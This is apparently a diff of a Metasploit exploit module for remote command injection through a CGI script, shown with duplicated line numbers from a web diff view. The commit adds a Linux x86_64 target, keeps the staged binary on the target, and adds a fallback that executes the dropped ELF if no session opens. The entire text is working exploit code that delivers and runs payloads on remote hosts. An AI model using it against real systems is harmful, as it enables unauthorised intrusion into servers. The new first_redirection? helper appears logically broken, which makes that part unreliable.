6
6
require 'msf/core'
7
7
8
8
class Metasploit4 < Msf ::Exploit ::Remote
9
+ Rank = GoodRanking
9
10
10
11
include Msf ::Exploit ::Remote ::HttpClient
11
12
include Msf ::Exploit ::CmdStager
@@ -41,6 +42,13 @@ def initialize(info = {})
41
42
'Arch' => ARCH_X86 ,
42
43
'CmdStagerFlavor' => [ :echo , :printf ]
43
44
}
45
+ ] ,
46
+ [ 'Linux x86_64' ,
47
+ {
48
+ 'Platform' => 'linux' ,
49
+ 'Arch' => ARCH_X86_64 ,
50
+ 'CmdStagerFlavor' => [ :echo , :printf ]
51
+ }
44
52
]
45
53
] ,
46
54
'DefaultTarget' => 0 ,
@@ -52,7 +60,7 @@ def initialize(info = {})
52
60
OptString . new ( 'TARGETURI' , [ true , 'Path to CGI script' ] ) ,
53
61
OptEnum . new ( 'METHOD' , [ true , 'HTTP method to use' , 'GET' , [ 'GET' , 'POST' ] ] ) ,
54
62
OptInt . new ( 'CMD_MAX_LENGTH' , [ true , 'CMD max line length' , 2048 ] ) ,
55
- OptString . new ( 'RPATH' , [ true , 'Target PATH for binaries uses by the CmdStager' , '/bin' ] ) ,
63
+ OptString . new ( 'RPATH' , [ true , 'Target PATH for binaries used by the CmdStager' , '/bin' ] ) ,
56
64
OptInt . new ( 'TIMEOUT' , [ true , 'HTTP read response timeout (seconds)' , 5 ] )
57
65
] , self . class )
58
66
end
@@ -74,12 +82,22 @@ def exploit
74
82
fail_with ( Failure ::BadConfig , "#{ peer } - Failed to store payload inside executable, please select a native payload" )
75
83
end
76
84
77
- execute_cmdstager ( :linemax => datastore [ 'CMD_MAX_LENGTH' ] )
85
+ execute_cmdstager ( :linemax => datastore [ 'CMD_MAX_LENGTH' ] , :nodelete => true )
86
+
87
+ # A last chance after the cmdstager
88
+ # Trying to make it generic
89
+ unless session_created?
90
+ req ( "#{ stager_instance . instance_variable_get ( "@tempdir" ) } #{ stager_instance . instance_variable_get ( "@var_elf" ) } " )
91
+ end
78
92
end
79
93
80
94
def execute_command ( cmd , opts )
81
95
cmd . gsub! ( 'chmod' , "#{ datastore [ 'RPATH' ] } /chmod" )
82
- cmd . gsub! ( 'rm' , "#{ datastore [ 'RPATH' ] } /rm" )
96
+
97
+ if cmd =~ />>/ && first_redirection?
98
+ cmd . sub! ( '>>' , '>' )
99
+ end
100
+
83
101
req ( cmd )
84
102
end
85
103
@@ -95,4 +113,13 @@ def req(cmd)
95
113
def marker
96
114
@marker ||= rand_text_alphanumeric ( rand ( 42 ) + 1 )
97
115
end
116
+
117
+ def first_redirection?
118
+ unless @first_redirection && @first_redirection == false
119
+ @first_redirection = false
120
+ return true
121
+ end
122
+
123
+ false
124
+ end
98
125
end
0 commit comments